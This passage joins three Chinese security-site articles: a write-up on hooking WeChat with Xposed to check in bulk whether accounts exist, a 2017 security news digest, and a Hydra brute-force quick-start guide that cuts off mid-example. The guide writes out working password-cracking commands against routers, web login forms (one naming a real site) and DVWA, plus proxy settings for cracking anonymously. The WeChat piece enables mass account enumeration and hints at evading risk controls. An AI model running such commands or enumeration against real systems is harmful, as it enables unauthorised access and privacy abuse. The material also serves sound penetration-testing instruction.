xposed是一款安卓平台下强大的hook框架,我们可以用他来开发很多强大的插件,以此来帮助我们更方便地解决某些实际的问题。本文将尝试利用xposed来解决一个实际问题:如何批量地验证微信号是否存在。

二、明确目标

现在手头有一批微信号,想要分辨出其中哪些是有效存在的,哪些是不存在的。显然如果直接手动去微信上一条条搜索,会是一件很麻烦的事情,接下来就要研究如何来批量地验证这批微信号。首先来看一下这个搜索接口:

逆向实践:批量验证微信号是否存在

从图中可以看出事实上这个接口还可以根据qq号和手机号来搜索某个微信号是否存在。我们的目的就是希望能够自动地可控地大量地来调用这个接口帮我们进行验证。

三、确定思路

明确了目标之后,我们就会想到,得到这个接口的函数调用栈是很重要的,这样我们就可以在关键函数上下hook点,然后插入我们自己的逻辑代码,以此来随心所欲地控制这个接口,达到我们最终的目的。所以大致可以总结出这样的步骤:1、得到这个过程中重要的函数调用栈。2、从函数调用栈中找到合适的函数,hook这个函数。3、思考整个批量验证的逻辑,插入我们自己的逻辑代码,实现xposed插件,以此来控制整个验证流程。4、用一小批样例来验证我们的插件是否有效。

四、动手实践

1、

如何得到一个过程的函数调用栈?这是一个我们在逆向的过程中经常会遇到的问题。最开始接触逆向的时候我只会用关键字搜索,后来接触的工具多了,发现用andbug不错,可以把一个点击过程中的所有过程都弄出来,直到前几个月在看雪上看到TraceReader,才发现原来有更好用的工具。其实逆向的好工具有很多,能用的顺手的工具就是好工具,具体的工具的用法我就不在这里赘述了。

我用的是TraceReader。得到一堆函数调用栈之后,接下来就要找我们需要的调用栈,我认为这是整个过程中最难的问题。因为这个时候得到的函数量往往很大很大,而我们根本不知道我们需要的函数的名字是什么,如果又碰上微信这种混淆超级变态的应用,那么这一步往往就要花费我们大量的时间。这一步没有什么好的办法,运气是最关键的因素,然后就是根据种种迹象来推理我们需要的函数的位置。八仙过海各显神通,我来说说我的做法。因为这个接口的功能是“搜索某个微信号是否存在”,所以我先用关键字“search”来碰运气,当然那么多函数,包含这个关键字的函数有很多。然后我再在这些包含“search”的函数里一个个去看,结果运气不错,找到一个既带“search”,又带“AddFriendUI”的函数。根据函数名,这个函数很大可能就是我们要找的函数。如图:

逆向实践:批量验证微信号是否存在

接下来验证一下我们找的对不对,用xposed来hook这个“AL”函数,打印出他的参数,xposed的用法网上很多,不再说明。最后结果如图:

逆向实践:批量验证微信号是否存在

我在搜索框随便输入了一串字符串,结果打印出来的这个“AL”函数的输入参数正是我输入的字符串,看来找的位置不错,那个这个函数所在的整个函数调用栈就是我们要找的东西了,用jeb逆他的代码后可以仔细地看一下这些函数,帮助我们理解整个过程。

2、

接下来是找合适的hook函数。其实hook函数需要两个,一个是hook请求,以此来控制整个批量验证流程;另外一个是hook应答部分,以此判断当前验证的微信号的返回结果。

请求的hook函数暂时就定为前面找的”AL”函数,如果之后测试的时候出现问题再考虑换,这一步并没有确定的答案,只能是通过实际的测试来验证,所以选哪个函数无所谓,到时候不行的话再返回来看源码,重新选择测试即可。

应答的hook函数一般可以通过看前面的请求函数调用栈来找,但也不绝对,找的方法和前面一样,怀疑哪里就测试哪里。这一步我是在请求的调用栈中找的,但是找了好多地方都没有找到一个合适的位置,然后也没耐心继续找了,就用了个取巧的办法。一个微信号不存在和存在的返回页面是不同的,如图:

逆向实践:批量验证微信号是否存在逆向实践:批量验证微信号是否存在

显然我们可以根据返回页面的不同来判断当前的微信号是否存在。接下来查看一下两个页面的activity,如图:

逆向实践:批量验证微信号是否存在

可见两种情况的activity是不同的,当微信号存在时,会返回该微信号的信息界面,该界面的activity是ContactInfoUI,那么我们就可以通过hook这个activity,判断这个activity是否被创建,来判断某个微信号是否存在。接下来验证一下我们的猜想,hook一下这个类的构造器:

逆向实践:批量验证微信号是否存在

生效后来看下效果:

逆向实践:批量验证微信号是否存在

确实按照我们的预想打印出了“YES”,也就验证了我们的猜想。

3、

批量验证逻辑这部分也没有确定的模式,完全可以根据个人的需求来进行定制。值得一提的是,上一步中hook的位置和这一步逻辑的设计有很大关联。比如说,在上一步中,我没有找到一个很好的应答hook位置,只是取巧根据activity来判断,那么也就是说,只有当一个微信号的搜索结果页面被加载出来之后,我才能对结果进行判断,这中间就会产生出很多问题。比如我必须控制两个请求之间的间隔时间,留出充分时间来让搜索结果界面进行加载。又比如当微信号数量比较大的时候,持续的页面加载会消耗大量内存,导致程序越来越慢,甚至机器发热,损耗电池。而这些问题都是必须在设计程序时应该考虑的问题。反之,如果前一步找的hook位置更合适的话,那么后续就会简单方便很多。欠下的债总是要还的,总的来说如果前面偷懒了,那么相应的后面就麻烦很多,而如果前面下了功夫,那么后面就会更轻松。条条大路通罗马,具体在整个过程中如何选择,最好根据自己实际的需求和手头上的资源来确定。

现在我们只是做一个简单的测试,并不用考虑太多。我的想法是截断上面找到的“AL”函数,并自己控制对他的循环调用,代码比较粗糙,也不贴上来了,直接看最后的结果。

4、

输入的微信号存在txt文件里,放在sdcard中,输出最后的判断结果,也存成文件,在正确的微信号后面加上“YES”标签,如图:

逆向实践:批量验证微信号是否存在

五、总结

本文只是一个xposed应用的小例子,在这个过程中想必大家也发现了,只要运用得当,很多接口都可以用这个方法来加以利用,同时也能满足很多小需求。

当然如果进一步考虑对方的风控规则,整个流程的自动化等等的因素之后,这种方法同样也能满足一些大的需求,大家可以自行探索。

*本文原创作者:siotb,本文属FreeBuf原创奖励计划,未经许可禁止转载

10月的最后一天,也要好好吃早餐哦~

各位 Buffer 早上好,今天是 2017 年 10 月 31 日星期二,今天份的 BUF 早餐铺内容有:研究人员研制出新的双因素认证,需拍摄私人物品进行验证;谷歌将关停 Chrome 对 PKP 的支持;部分 Bad Rabbit 受害者不用付赎金就可以恢复文件;微软修复可窃取 Windows 登录凭证的秘密漏洞;Matrix 勒索软件利用 RIG 工具套件进行分发;比特币中国今天停止提现,但在国际上重回涨势。

早餐3.jpg

以下请看详细内容:

【国际时事】

研究人员研制出新的双因素认证,需拍摄私人物品进行验证

来自佛罗里达里达州国际大学和 Bloomberg 的科学家研制出一种定制化的双因素认证系统 Pixie,需拍摄用户私人物品进行验证。与传统的硬件安全密钥(例如,YubiKey设备)加密或输入验证码(通过SMS或语音呼叫接收)验证相比,这种新的拍照验证方式省了一些麻烦。

双因素认证.jpg

如果用户选择用 Pixie 认证,则初次登录时,需要拍下身边物品的一张初始照片。以后每次登录都需要拍下照片,并由手机内安装的 APP 对比两张照片,进行验证。由于只有用户自己知道验证的物品到底是什么,所以黑客很难通过截取 SMS 短信或利用 SS7 协议的漏洞来劫持这个验证过程,因此研究人员认为,Pixie 比以前的验证系统更加安全。

据了解,Pixie 的错误验证率仅为 0.09%。目前研究人员仍在对这个系统进行研发改进,不过用户已经可以在 GitHub 中下载并试用。[来源:bleepingcomputer]

谷歌将关停 Chrome 对 PKP 的支持

前两天,谷歌发布公告表示将停止 Chrome 对 PKP(Public Key Pinning)的支持。PKP 全称是 HPKP,是 IETE RFC-7469 认证的一种系统,可用于 HTTPS 站点。,站点运营商可以利用 PKP 其站点设置HTTP头。当用户首次连接到网站时,PKP 头会告知用户的浏览器,下载根据站点的HTTPS证书生成的公钥列表。当用户再次返回网站时,浏览器将采用其中一个密钥,并尝试验证其是否与该站点的当前 HTTPS 证书相匹配。如果攻击者设法伪装合法的域并使用有效的 HTTPS 证书,则 PKP 密钥将不匹配,浏览器将阻止用户查看该网站,由此可以阻止网络钓鱼、诈骗或其他恶意攻击。

谷歌移除 PKP 支持.jpg

但事实上,PKP 是个漏洞百出的安全解决方案。它很难部署,且设置过程中只要有任何错误,都会导致用户下载错误密钥,造成灾难性后果。此外,理论上来说,攻击者也可以发布自己的 PKP 密钥劫持站点访问者,这些密钥在入侵被发觉之后就能停止工作并清除服务器。

由于这些问题,谷歌打算在 2018 年 5 月的 Chrome 67 中彻底放弃 PKP。[来源:bleepingcomputer]

部分 Bad Rabbit 受害者不用付赎金就可以恢复文件

今天,卡巴斯基发布了新的研究报告,他们发现 Bad Rabbit 中有两个明显的漏洞。一些“幸运”的 Bad Rabbit 受害者或许可以利用这些漏洞来绕过赎金。卷影拷贝服务是 Windows 系统在使用过程中,自动创建文件副本的一项服务。大部分的勒索软件都会删除卷影拷贝,这样可以防止硬盘恢复软件找到被加密的原始文件副本和未被加密的文件。根据卡巴斯基的报告,Bad Rabbit 勒索软件中并没有专门的进程来删除卷影拷贝。虽然用户不能靠它恢复全部的文件,但也可以恢复一部分了。

坏兔子.png

卡巴斯基研究员在解密密码上也发现了漏洞。他们发现 dispci.exe 中有一段代码错误,恶意软件生成的密码不会被从内存中删除,所以我们通过调试模式调取了恶意软件生成的密码,并在系统重启后输入这个密码,发现密码是有效的,进程也可以继续进行。不幸的是,这个方法只可以绕过引导程序,用户开机重启之后文件还是被加密的。[来源:bleepingcomputer]

【漏洞威胁】

微软修复可窃取 Windows 登录凭证的秘密漏洞

日前,Windows 爆出一个漏洞,可使攻击者在无需任何用户交互的情况下随意窃取 Windows NTLM 密码哈希,允许与受害者网络直接连接的攻击者升级对附近系统的访问。Microsoft通过ADV170014安全顾问在本月的补丁周二修补了该漏洞,此次补丁仅适用于Windows 10和Windows Server 2016的用户。

微软.jpeg

事实上,这种攻击操作性强且不涉到较深层次的技术技能,攻击者只需要将特制的 Shell 命令文件 (SCF 文件) 放在可公开访问的 windows 文件夹中,然后该文件将由于安全问题而执行收集 NTLM 密码哈希, 并将其发送回攻击者的服务器;这样一来,攻击者可以轻松破解 NTLM 密码哈希并且随意访问受害者的计算机。然而,并不是所有共享文件夹的计算机都属于易被攻击对象,由于Windows 限制漏洞范围的默认选项,黑客攻击对具有密码保护的共享文件夹的计算机就不起作用,不过介于大多情况下,许多 Windows 用户诸如企业环境,学校和其他公共网络中的用户通常会因为自身需求而共享无需密码的文件夹从而受到攻击。[来源:SecurityAffairs]

Matrix 勒索软件利用 RIG 工具套件进行分发

目前,Malwarebytes 安全公司研究员发现 Matrix 勒索软件利用 RIG 工具套件,在含有恶意广告的网站中进行分发。Matrix 勒索软件最早在 2016 年年底出现,到 2017 年 4 月已经基本消失。而现在它再次出现,且利用恶意软件和漏洞利用工具套件进行传播,所涉及的漏洞主要包括 IE 浏览器中的 CVE-2016-0189 漏洞和 Flash 中的 CVE-2015-8651 漏洞。只要用户使用诱这些漏洞的计算机访问某个带有恶意广告的网站,就会感染 Matrix 勒索软件。感染之后,Matrix 就会加密电脑中的文件,获取文件名,并将文件名打包按照附件发到 [email protected] 邮箱。此外,Matrix 还会发布 #_#WhatWrongWithMyFiles#_#.rtf 文件,在屏幕上显示勒索信息。

Martix 勒索界面.jpg

事实上,用户如果及时更新 IE 浏览器和 Flash 播放器,就可以修复 CVE-2016-0189 漏洞和 CVE-2015-8651 漏洞,进而避开 Matrix 感染。因此,要想防止勒索软件感染,老生常谈的还是及时更新、保持良好的用网习惯(备份、对陌生邮件保持警惕),使用安全的软件和安全服务。[来源:bleepingcomputer]

【国内新闻】

比特币中国今天停止提现,但在国际上重回涨势

根据比特币中国的公告,10月30日中午12:00平台将停止提现业务,截至目前,比特币中国已经关闭了所有交易功能。比特币中国是国内三大比特币交易平台之一,其他两个平台为火币网和OKCoin。这两个交易平台将于10月31日停止所有数字资产兑人民币交易业务,其资金、资产的清退工作也正在开展中。

比特币.png

从9月4日开始,监管层先后出手ICO和比特币,如今ICO在国内已经偃旗息鼓,国内比特币交易所的业务先后调整和关停。不过,这并未影响比特币的行情,在经过一段波折后,国际环境中比特币重回涨势,按照OKCoin的最新报价显示,比特币已经冲到36021元人民币。[来源:网易科技]

*AngelaY 编译整理,转载请注明来自 FreeBuf.COM

本文是Medusa和Hydra快速入门手册的第二部分,第一部分的传送门这两篇也是后续爆破篇的一部分,至于字典,放在最后,后续会把祖传的几十G字典准备好

Hydra入门使用手册

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

目录

0×00什么是Hydra?

0x01Hydra-GTK

0×02如何安装

0×03如何使用Hydra?

0×04参考文档

0×05爆破实例

0×06免责说明

0×07联系我们

0×08防范措施

0×00什么是Hydra?

Clipboard Image.png

一个非常快速的网络登录破解程序,支持许多不同的服务。

查看功能集和服务覆盖页面-包括与ncrack和medusa的速度比较 当前版本:8.6

最后更新2017-07-21

(c)vanHauser/THC的2001-2017


@thc.org; http://www.thc.org

许多模块都是由David(dot)Maciejak @ gmail(dot)com编写的

BFG代码由Jan Dlabal提供


在AGPLv3下许可(见LICENSE文件)

请不要在军事或秘密服务机构使用,

或为非法目的。

0×00什么是Hydra?

首先,欢迎来到THCHydra项目的mini-website。

每个密码安全研究显示表明,最大的安全漏洞之一是密码。 而九头蛇是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra是灵活和迅速的

Hydra在Linux,Windows/Cygwin,Solaris11,FreeBSD8.1,OpenBSD,OSX,QNX/Blackberry上测试和编译,并在GPLv3下提供了特殊的OpenSSL许可证扩展。

目前此工具支持:

Asterisk,AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,

HTTP-GET,HTTP-HEAD,HTTP-POST,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-POST,HTTPS-HEAD,

HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,

PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,S7-300,SAP/R3,SIP,SMB,SMTP,

SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP.

对于HTTP,POP3,IMAP和SMTP,支持多种登录机制,如plain和MD5等。

这个工具是一个概念模型,是 为了让安全员和安全顾问验证提供一种可能性:从远程系统到系统的未经授权的访问是多么容易。

该程序被写入了vanHauser,并得到了DavidMaciejak的额外支持。

0x01Hydra-GTK

1.选择目标,准备爆破

Clipboard Image.png

2.选择爆破ID,爆破字典

Clipboard Image.png

3.Hydra结果和输出

Clipboard Image.png

0×02如何安装

第一部分:下载

1.生产/发布版本:

最新的Hydra的源代码:hydra-8.6.tar.gz

(在所有基于UNIX的平台上编译-甚至MacOSX,Windows上的Cygwin,ARM-Linux,Android,iPhone,Blackberry等)

2.发展版本:

您可以下载并编译当前在GITHUB存储库中开源的开发版本的hydra:

https://github.com/vanhauser-thc/thc-hydra

可以选择:

 svn co https://github.com/vanhauser-thc/thc-hydra

或者:

 git clone https://github.com/vanhauser-thc/thc-hydra.git

注意这是开发版本!新功能-伴随着新的bug。可能会导致Hydra无法运行!

1.只有旧版的Hydra才能使用源代码,只要是v7.x,就可以让您在不寻常的旧平台上出现问题:

hydra-5.9.1-src.tar.gz

2.Win32/Cywin二进制版本:—不再更新—

http://www.cygwin.com安装cygwin并自行编译。如果您没有安装cygwin – 那你将如何通过cygwin做适当的安全测试呢?.

这里是旧版本的ARM和Palm二进制文件,我们已经不再维护:

ARM:hydra-5.0-arm.tar.gz

Palm:hydra-4.6-palm.zip

第二部分:编译

Hydra在所有具有gcc-Linux,所有BSD,MacOS/X,Windows,Solaris等上的Cygwin的平台上都可以编译。

$ tar xvzf hydra-5.7-src.tar.gz

$ cd hydra-5.7-src /

一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:

$ ./configure

它甚至可以在旧版本的SunOS,Ultrix等平台进行编译;Htdra有很多可选模块,比如用于SSH的库,SVN等网络协议。

如果有些库消失了,这些库可能就是不被您的二进制文件支持。如果您在Linux上,麻烦以下命令,这将安装所有必需的库:

Ubuntu / Debian:

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev

Redhat / Fedora:

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

OpenSuSE:

zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

以上所有可选的模块和功能不包括Oracle,SAPR/3和Apple文件协议-所以您需要从提供源的网站下载和安装。

对于Oracle,这是(基本安装和SDK包)的地址:

http : //www.oracle.com/technetwork/database/features/instant-client/index.html

对于所有其他Linux派生和基于BSD的系统,请使用系统软件安装程序并查找类似命名库,如上面的命令。

在所有其他情况下,您就只能手动下载所有源库并手动编译;Hydra的配置脚本会告诉您什么库是缺失,以及可以从哪里获得。

0×03如何使用Hydra

3.1.简单使用

当你刚刚进入“hydra”,您将看到一个重要的简短摘要:可用选项输入“./hydra -h”以查看所有可用的命令行选项。

请注意,不包括登录/密码文件。你需要自己生成它们,或者使用别人已经生成的;然而,默认密码列表存在,使用“dpl4hydra.sh”生成一个列表。对于Linux用户,可以使用GTK gui,尝试“./xhydra”

对于命令行用法,语法如下:

对于攻击一个目标或网络,您可以使用新的“://”样式:

hydra[某些命令行选项]协议://目标:端口/选项

旧模式也可以用于这些,另外如果你想的话,从文本文件中指定目标,你必须使用这个:

hydra[某些命令行选项][-s端口]目标协议选项

通过命令行选项,您可以指定要尝试的登录名,哪些密码,如果使用SSL,需要使用多少个并行任务才能进行攻击等。PROTOCOL是您要用于攻击的协议,例如ftp,smtp,http-get或许多其他可用目标都是要攻击的目标,选项是每个PROTOCOL模块特殊的可选值。

第一:选择您的目标

您有三个选项可以指定要攻击的目标:

1.命令行上的单个目标:只需将IP或DNS地址放入

2.命令行上的网络范围:CIDR规范如“192.168.0.0/24”

3.文本文件中的主机列表:每个条目一行(见下文)以文本形式形成一份txt文档

第二:选择您的协议

尝试避免telnet,因为检测到正确或错误的登录尝试是不可靠的。其次可以使用端口扫描器查看目标上启用了哪些协议。

第三:检查模块是否有可选参数

hydra-U协议:例如hydra-Usmtp

此外:目标端口

目标端口是可以自己选择的!如果没有提供默认公用端口,可以自行设置协议的端口;

如果指定要使用SSL(“-S”选项),则默认使用SSL公用端口。如果使用“://”符号,则必须使用“[”“]“括号去支持IPv6地址或CIDR(“192.168.0.0/24”)爆破:

hydra[一些命令行选项]ftp://[192.168.0.0/24]/

hydra[某些命令行选项]-6smtp://[2001:db8::1]/NTLM

请注意,所有hydra都是IPv4的!如果要攻击IPv6地址,则必须添加“-6”命令行选项。所有攻击都将会是IPv6!

如果要通过文本文件提供目标,则不能使用://符号,但使用旧样式,只提供协议(和模块选项):

hydra[某些命令行选项]-Mtargets.txtftp

可以在每个目标之后添加“:”,为每个目标条目提供端口,例如:

foo.bar.com

target.com:21

unusual.port.com:2121

default.used.here.com

127.0.0.1

127.0.0.1:2121

请注意,如果要附加IPv6目标,则必须提供-6选项,*必须*将IPv6地址放在文件[]中的括号中,

如下所示:

foo.bar.com

target.com:21

[FE80::1%的eth0]

[2001::1]

[2002::2]:8080

[2A01:24A:133:0:00:123:FF:1A]

3.2登录和密码

有很多关于登录和密码攻击的选项,比如使用-l进行登录,-p为密码,请告诉hydra这是唯一的登录尝试和/密码尝试。

使用-L进行登录,-P为密码,您可以提供带条目的文本文件。

例如:

hydra -l admin -p password ftp:// localhost /

hydra -L default_logins.txt -p test ftp:// localhost /

hydra -l admin -P common_passwords.txt ftp:// localhost /

hydra -L logins.txt -P passwords.txt ftp:// localhost /

此外,您可以通过“-e”选项根据登录尝试密码。“-e”选项有三个参数:

s - 尝试登录密码

n - 尝试一个空的密码

r - 反转登录并尝试密码

如果你想,例如尝试“尝试登录密码和”空密码“,你在命令行上指定“-e sn”。但是,尝试密码的方式还有两种:-p /P:

您可以使用文本文件,文本内的登录名和密码对由冒号分隔,例如:

管理员:密码

测试:测试

FOO:酒吧

这是一个常见的默认帐户样式列表,也是由dpl4hydra.sh与hydra一起提供的默认帐户文件生成器生成的。当使用这样一个文本文件与-C选项 – 请注意,在这种模式下你不能使用-l / -L / -p / -P选项(-e nsr但是可以)。例:

hydra -C default_accounts.txt ftp:// localhost /

最后,有一个使用-x选项的暴力模式(你不能使用-p / -P / -C),

使用-x minimum_length:maximum_length:charset

字符集定义是小写字母的“a”,大写字母的“A”,“1”的数字和其他任何你提供它是他们的真实代表。

例子:

-x1:3:a将所有小写字母从长度1到3生成密码

-x2:5:/将密码从长度2到5只包含斜杠

-x5:8:A1使用大写和数字生成长度为5到8的密码

例:

hydra -l ftp -x 3:3:a ftp:// localhost /

3.3模块的特殊选择

通过第三个命令行参数(TARGETSERVICEOPTIONAL)或-m命令行选项,您可以将一个选项传递给模块。许多模块使用这个,有几个需要它!要查看模块的特殊选项,输入:

hydra -U <module>

例如:

./hydra -U http-post-form

特殊选项可以通过-m参数作为第三个命令行传递,选项或服务://target/option格式。

例子(他们其实是一样的):

./hydra -l test -p test -m PLAIN 127.0.0.1 imap

./hydra -l test -p test 127.0.0.1 imap PLAIN

./hydra -l test -p test imap://127.0.0.1/PLAIN

3.4恢复被破坏/中断的会话

当Hydra被Control-C中止,死亡或者崩溃时,它会留下“hydra.restore”文件,文件包含所有必要的信息,所以我们可以恢复会话。但要注意该会话文件每5分钟写一次。此外:hydra.restore文件不能复制到不同的平台(例如从低位编码littleendian到高位编码bigendian,或从solaris系统到aix)

3.5如何扫描/破解代码

环境变量HYDRA_PROXY_HTTP定义了Web代理(只为http服务!)。

以下语法有效:

HYDRA_PROXY_HTTP = “http://123.45.67.89:8080/”

HYDRA_PROXY_HTTP = “HTTP://login:[email protected]:8080 /”

HYDRA_PROXY_HTTP = “proxylist.txt”

最后一个例子是一个包含多达64个代理的文本文件(同样的),格式定义作为其他示例。

对于所有其他服务,请使用HYDRA_PROXY变量进行扫描/破解。它使用相同的语法。例如:

HYDRA_PROXY = [connect | SOCKS4 | SOCKS5]:// [login:[email protected]] proxy_addr:proxy_port

例如:

HYDRA_PROXY =connect://proxy.anonymizer.com:8000

HYDRA_PROXY = SOCKS4:// AUTH:[email protected]:1080

HYDRA_PROXY = socksproxylist.txt

3.6额外的提示

*按可能性排序您的密码文件,并使用-u选项查找密码更快!

*单击你的字典文件!这可以节省你很多时间:-)

cat words.txt | sort | uniq > dictionary.txt

*如果您知道目标是使用密码策略(允许用户),只能选择最小长度为6的密码,至少包含一个密码,字母和一个数字等使用工具pw-inspector,用hydra包减少密码列表:

cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt

3.7结果输出

结果输出到stdio以及其他信息。通过-o命令行选项,结果也可以写入文件。使用-b,并且可以指定输出的格式。目前,这些被支持:

*文本-纯文本格式

*`jsonv1`-使用版本1.x的JSON数据(定义如下)。

*`json`-JSON数据使用最新版本的模式,目前在那里只是版本1。

如果使用JSON输出,结果文件可能不是有效的JSON,如果有的话,Hydra的严重错误。

###JSONSchema

以下是JSON输出示例。标记一些参数的注意事项:

*`errormessages`-通常打印的零个或多个字符串的数组在九头蛇的运行结束时到stderr。文本是非常自由的形式。

*“success”-指示Hydra是否正常运行,是否是没有错误(**NOT**如果检测到密码)。该参数是JSON值“true”或“false”取决于是否完成密码爆破。

*`quantityfound`-发现了多少用户名+密码组合。

*`jsonoutputversion`-模式的版本,1.00,1.01,1.11,2.00,2.03等Hydra将使2.0版本从低位跨越双字节高位,(而不是只有v1.1vsV1.10)。低版本是不断叠加的,所以1.02将包含比1.0版本更多字段去实现向后兼容。版本2.x也将会从1.x版本的输出去掉一些东西。

1.00的案例:

Version 1.00 example:

{
“errormessages”: [
"[ERROR] Error Message of Something”,
“[ERROR] Another Message”,
“These are very free form”
],
“generator”: {
“built”: “2017-03-01 14:44:22″,
“commandline”: “hydra -b jsonv1 -o results.json … …”,
“jsonoutputversion”: “1.00″,
“server”: “127.0.0.1″,
“service”: “http-post-form”,
“software”: “Hydra”,
“version”: “v8.5″
},
“quantityfound”: 2,
“results”: [
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "bill",
"port": 9999,
"service": "http-post-form"
},
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "joe",
"port": 9999,
"service": "http-post-form"
}
],
“success”: false
}

0×04参考文档

Hydra带有一个相当长的README文件来描述,有关使用和特殊选项的详细信息。当然你也可以参考本文快速入门。

但有时详细的在线帮助可以大大提高您的效率。

推荐阅读以下链接,部分可能需要梯子,自备哦

安装:

http://www.madirish.net/content/hydra-brute-force-utility

一般用法和选项:

http://www.aldeid.com/wiki/Thc-hydra

http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/(需要梯子)

HTTP基本认证:

https://www.owasp.org/index.php/TestingforBruteForce%28OWASP-AT-004%29

http://www.sillychicken.co.nz/Security/how-to-brute-force-your -router-in-you-windows.html

基于HTTP表单的auth:

http: //www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydrahttp://insidetrust.blogspot.com/2011/ 08 / using-hydra-to-dictionary-attack-web.html

http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html

https://www.owasp.org/index.php/Testing for Brute Force %28OWASP-AT-004%29

多协议:

http://www.madirish.net/content/hydra-brute-foece-utility

Telnet:

http://www.adeptus-mechanicus.com/codex/bflog/bflog.html

对于那些用DVWA测试的人来说,这就是你想要的:

hydra-ladmin-ppasswordhttp-get-form“/dvwa/login.php:username=^USER^&password=^PASS^&submit=Login:Loginfailed”

以下对参考文档主要内容的详细介绍,取其精华,去其糟粕,同样,也会增加实例到渗透测试:爆破篇,敬请期待

0×05爆破实例

接下来将简单描述几个Hydra使用的实例!

实例1.爆破路由器

思路:当你登录路由器默认管理地址时,使用Hydra爆破

首先,找到你的路由器IP,你应该已经知道了,我的是192.168.1.1,此路由器的默认用户名为“admin”。如果由于某种原因,不记得密码了,现让我们来找回密码。

然后,打开准备好的Hydra,windows下打开CMD或Powershell打开命令提示符并进入到Hydra目录

运行下面的命令替换你的值(命令标志区分大小写)。

hydra -l {username} -P {password list path} -s {port} {IP Address} http-get /

实际命令如下所示:

hydra -l admin -P password.lst -s 80 192.168.1.1 http-get /

命令分解:

hydra – > hydra程序

-l – >(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表

-P – >提供密码list的路径。-p尝试单个密码,即“passw0rd”

-s – >端口目标您的路由器可能会运行在不同的端口,如8080

{IP地址}这个不用解释

http-get – >暴力破解的服务部分

“/” – >这将指定要定位的页面,如果这被排除,命令将不会运行。“/”只是表示不包括root“

如果你的字典和Hydra一样强,你将在输出行收获一个用户名和密码,这也意味着你成功了!

实例2.爆破HTTP

首先需要确认的几件事情:

返回页面

Post参数

文本尝试失败

返回页面

这通常与登录页面相同,但并不总是如此。所以只需查看页面的源代码,并找到一个方法让表单=“post”。动作值是将被“发布”的页面的值。正如你可以看到要发布的页面是“index.php”

Post参数

这些可以通过查看登录页面的源代码来找到。表单中的所有标签都将被发布。帖子名称将是标签的“name”属性。如果它有一个定义,该值将是“值”属性。相应的,你可以使用firefox插件Hackbar篡改数据扩展。

文本尝试失败

这是登录尝试失败时在网页上找到的文字。

把它们放在一起:

网站:www.sillychicken.co.nz/administrator/

返回页面:index.php

返回值是:usrname=(用户输入),pass=(用户输入),提交=Login

现在,我们从页面源中提取,尝试登录到管理页面,我们得到一个javascript弹出窗口,其中显示“用户名不正确,密码……”

“不正确的用户名”听起来像是不会显示的文字,如果是一个成功的登录,我们将使用它。

让我们将它们全部融入Hydra中:

hydra -l {username} -P {passwordlistpath} -s {port} -f {SiteAddress} http-post-form “{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failedlogintext}“

我的命令看起来像:

hydra -l hydra-Ppassword.list -s 80 -f www.sillychicken.co.nz http-post-form “/administrator/index.php:usrname=^USER^&pass=^PASS^&submit=Login:Incorrect Username”

命令分析

hydra->hydra程序

-l->(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表)我已经为此演示设置了“hydra”帐户,并已被删除

-P->提供密码lis的路径。-p尝试单个密码,即“passw0rd”

-s->端口到http的默认端口为80

-f->在第一个匹配后退出程序

{SiteAddress}IEwww.sillychicken.com ->不要包含http://

http-post-form->服务到暴力 HydraREADME具有http-form-post的命令,将会发生错误

{Pathtopostbackpage}->所有后续站点地址必须以“/”开头

{USERNAME_NAME}->用户名回发变量名称

^USER^->这将被替换为由-l或-L用户名指定的用户名

^PASS^->这将被替换为定义的列表中的密码

{Failedlogintext}->只会在失败中找到的文本登录

注意事项:*确保是从http-post-form“到结束命令之后

实例3.爆破Drupal站点

安装九头蛇

为了安装Hydra,首先从http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz下载Hydra源码 unzip hydra:

$ tar xvzf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src /

一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:

$ ./configure

Starting hydra auto configuration ...

Checking for openssl (libssl/ssl.h) ...

                                ... NOT found, SSL support disabled

Get it fromhttp://www.openssl.org

Checking for Postgres (libpq.so) ...

                             ... found

Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...

                          ... NOT found, module svn disabled

Checking for firebird (libfbclient.so) ...

                                   ... NOT found, module firebird disabled

Checking for NCP (libncp.so / nwcalls.h) ...

                                     ... NOT found, module NCP disabled

Checking for SAP/R3 (librfc/saprfc.h) ...

                                  ... NOT found, module sapr3 disabled

Get it fromhttp://www.sap.com/solutions/netweaver/linux/eval/index.asp

Checking for libssh (libssh/libssh.h) ...

                                  ... NOT found, module ssh2 disabled

Get it fromhttp://www.libssh.org

Checking for GUI req's (pkg-config) ...

                                ... found

Hydra will be installed into .../bin of: /usr/local

(change this by running ./configure --prefix=path)

Writing Makefile.in ...

now type "make"

